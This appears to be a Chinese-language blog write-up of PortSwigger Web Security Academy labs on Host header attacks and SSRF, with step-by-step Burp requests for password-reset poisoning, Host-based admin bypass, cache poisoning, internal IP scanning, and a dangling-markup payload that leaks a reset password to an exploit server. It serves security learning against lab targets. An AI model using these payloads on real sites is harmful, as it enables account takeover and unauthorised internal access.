d1sbb


Home | Message | Rev Shell | About | Links

[复现] HTTP主机头攻击, SSRF


基本密码重置中毒

实验室:基本密码重置中毒

打开靶场 忘记密码功能 输入wiener 发送邮件 Host

在顶部看到Go to exploit server按钮 点击

下拉看到Email client按钮 点击 Host

可以看到我们收到一封带有URL的电子邮件 Host

在该 URL 中,可以看到参数temp-forgot-password-token

单击次链接打开 就可以更改我们自己的密码

翻阅burp的history里找到我们点击忘记密码的那个包

改自定义host头测试 Host

现在打开exploit server查看邮件 多出来一封自定义host头的url Host

之后点击Back to exploit server 复制url Host

修改host为我们复制的url 并且 username=carlos 构造恶意脚本 Host

查看exploit server上的Access log Host

可以看到carlos的token是ab9ts54oxrsb05llsiznhwxzxc8crolu Host

再去Email client里找到我们第一次收到的修改密码url地址并复制 Host

把盗取carlos的token替换上去 Host

成功 Host

主机标头身份验证绕过 - Host: localhost

实验室:绕过主机头身份验证

正常访问/admin 状态码是401 Host

抓包修改Host: localhost 返回状态码200 Host

通过模糊请求进行Web缓存投毒 - 添加重复的Host头

实验室:通过模糊请求进行Web 缓存投毒

正常访问主页 返回头X-Cache: hit Host

再Repeater发送 发现返回头X-Cache: miss Host

得知请求是否已缓存在缓存中,可以双写Host进行web缓存投毒 Host

进入exploit server 构造payload Host

成功弹窗 Host

基于路由的 SSRF

实验室:基于路由的 SSRF

访问靶场/根目录 发送到 Burp Repeater里。

把 Host 标头值,替换成主机的DNSlog。发送请求。 DNSlog

转到 Burp Collaborator 单击Poll now。证明存在SSRF漏洞

将请求包转到 Burp Intruder。

别忘了关掉”更新主机标头以匹配目标”。

将 Host 值替换成192.168.0.§0§ Intruder

在Payloads选项卡上,选择有效载荷类型Numbers。值为0-255

攻击完成后 Host: 192.168.0.130收到了 302 响应,将您重定向到/admin。将此请求发送到 Burp Repeater。 响应192.168.0.130

在 Burp Repeater 中,将请求行更改为GET /admin并发送请求。在响应中,观察到已成功访问管理面板。 admin

如果返回值有Set-Cookie也要把session=NdxPNRKQB4U1Zh3tEXxpureUIPZBdwWP;放到COOKIE头里

研究删除用户的表单。发现GET /admin/delete?csrf=IFTk0ynPl5zbGBOJL6FoYVMBdu3VGHbM&username=carlos success

成功删除carlos用户

通过有缺陷的请求解析实现 SSRF - 使用绝对路径的URL

实验室:通过有缺陷的请求解析实现 SSRF

改HOST头发现 403 Forbidden 使用绝对路径的URL

在GET /这里,改成GET https://0a15007703ba975b80021c8700b0007e.web-security-academy.net/ HOST头改成主机的DNSlog DNSlog使用绝对路径的URL

证明存在SSRF漏洞

就可以继续用 [实验室:基于路由的 SSRF] 漏洞重复操作 SSRF SSRF

GET https://0a15007703ba975b80021c8700b0007e.web-security-academy.net/admin/delete?csrf=iOqRsO97wC8gYxjryI6qUjujASVASVlM&username=carlos HTTP/2
Host: 192.168.0.50

成功删除carlos用户 返回302

通过连接状态攻击绕过主机验证 - Burp Repeater Group

实验室:通过连接状态攻击绕过主机验证

将请求发送GET /到 Burp Repeater。

将路径更改为/admin 发送请求,返回404

将Host值改为192.168.0.1,返回301,证明可行 返回状态301

复制选项卡,然后将两个选项卡添加到新组中。 选择第一个选项卡的请求头更改GET / Host值改回原来服务器的正常请求头 将Connection标题更改为keep-alive(貌似不加也可以) 正常请求头

使用发送,按钮旁边的下拉菜单,将发送模式更改为按顺序发送组(单连接)

发送请求包后,在第二个选项卡里请求已成功访问admin目录 恶意请求头

就可以继续用 [实验室:基于路由的 SSRF] 漏洞重复操作 success

通过悬垂标记进行密码重置中毒 - 忽略端口仅校验域名 - Dangling markup技术

实验室:通过悬垂标记进行密码重置中毒

转到登录页面并请求重置wiener帐户密码

进入漏洞服务器,打开邮件客户端,找到密码重置邮件

在burp历史记录中, 将请求发送POST /forgot-password到 Burp Repeater

篡改 Host 标头中的域名会导致服务器错误。 携带disbb

但是,可以向 Host 标头添加任意非数字端口,并且仍能正常访问站点。 Host: xxx.web-security-academy.net:disbb 携带disbb

在电子邮件客户端中,检查电子邮件的原始版本 就可以看到携带了disbb 携带disbb

再次发送POST /forgot-password请求,把disbb改成恶意代码脚本 Host: xxx.net:’<a href=”//exp123.exploit-server.net/? 恶意exp

检查电子邮件客户端。您应该已经收到一封新邮件,其中大部分内容缺失。 查看邮件源码

转到漏洞服务器并检查访问日志。看到 GET /?/login’>[…],其中包括新密码。 服务器log

在 Burp Repeater 中,最后一次发送请求,但将参数更改username为carlos。 修改carlos用户

刷新访问日志就可以看到carlos用户的新密码。

其他绕过方式

添加缩进或换行

当一些站点block带有多个Host头的请求时,可以通过添加缩进字符的HTTP头来绕过:

GET /example HTTP/1.1
 Host: attack-stuff
Host: vulnerable-website.com

注入覆盖Host头的字段

与Host头功能相近的字段,如X-Forwarded-Host、X-Forwarded-For等,这些有时候是默认开启的。

GET /example HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: attack-stuff